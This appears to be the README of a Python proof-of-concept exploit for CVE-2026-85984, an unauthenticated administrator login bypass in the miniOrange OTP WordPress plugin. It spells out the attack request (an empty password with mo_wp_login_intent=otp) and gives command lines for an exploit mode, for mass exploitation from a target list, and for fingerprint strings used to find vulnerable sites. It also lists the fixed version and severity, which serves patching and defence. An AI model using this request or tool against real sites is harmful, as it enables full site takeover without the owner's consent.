
Python PoC for CVE-2026-85984: checks and exploits the miniOrange OTP plugin (≤5.5.5) unauthenticated WordPress admin auth bypass, with version scan and user enumeration.
Python 3 PoC for CVE-2026-85984 — miniOrange OTP Login, Verification and SMS Notifications ≤ 5.5.5.
CVE-2026-85984 — Unauthenticated authentication bypass (CWE-287) via POST parameter mo_wp_login_intent=otp with an empty password. In the skip_pass_fallback branch of mo_by_pass_login(), the plugin skips wp_authenticate_username_password(), resolves the user by username only, and treats administrator role as sufficient when Admin OTP Bypass options are enabled.
Attack: wp-login.php with log=<admin_user>, pwd= (empty), mo_wp_login_intent=otp.
Conditions (all must be enabled by site admin):
CVSS 3.1: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Fix: 5.5.6+ (Wordfence CNA, finder Supakiad S. / m3ez).
PoC page: https://pocbit.org/pocs/cve-2026-85984
Catalog: https://pocbit.org/pocs/
| Plugin slug | miniorange-otp-verification |
| Affected | ≤ 5.5.5 |
| Fixed | 5.5.6+ |
| Vector | wp-login.php + mo_wp_login_intent=otp |
| Impact | Administrator session (full site compromise) |
PoC includes colorized CLI banner, plugin/version scan, optional user enum (REST/author), --mode exploit bypass attempt, mass JSONL with pocbit / pocbit_catalog / pocbit_page.
pip install -r requirements.txt
python poc.py -u https://wordpress.example --mode check
python poc.py -u https://wordpress.example --mode check --probe-login
python poc.py -u https://wordpress.example --mode exploit --username admin
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py -u https://wordpress.example --mode exploit --no-color
body="/wp-content/plugins/miniorange-otp-verification"
body="mo_wp_login_intent"
CVE-2026-85984 PoC: WordPress miniOrange OTP ≤5.5.5 unauth admin bypass via mo_wp_login_intent=otp + empty password. Check/exploit modes, colored CLI. PoCbit
CVE-2026-85984: miniOrange OTP eklentisinde boş şifre + mo_wp_login_intent=otp ile admin oturumu (yanlış OTP ayarları gerekir). 5.5.6 yaması. PoC: renkli arayüz + exploit modu.
Authorized testing only. Do not use on systems you do not own or lack permission to test.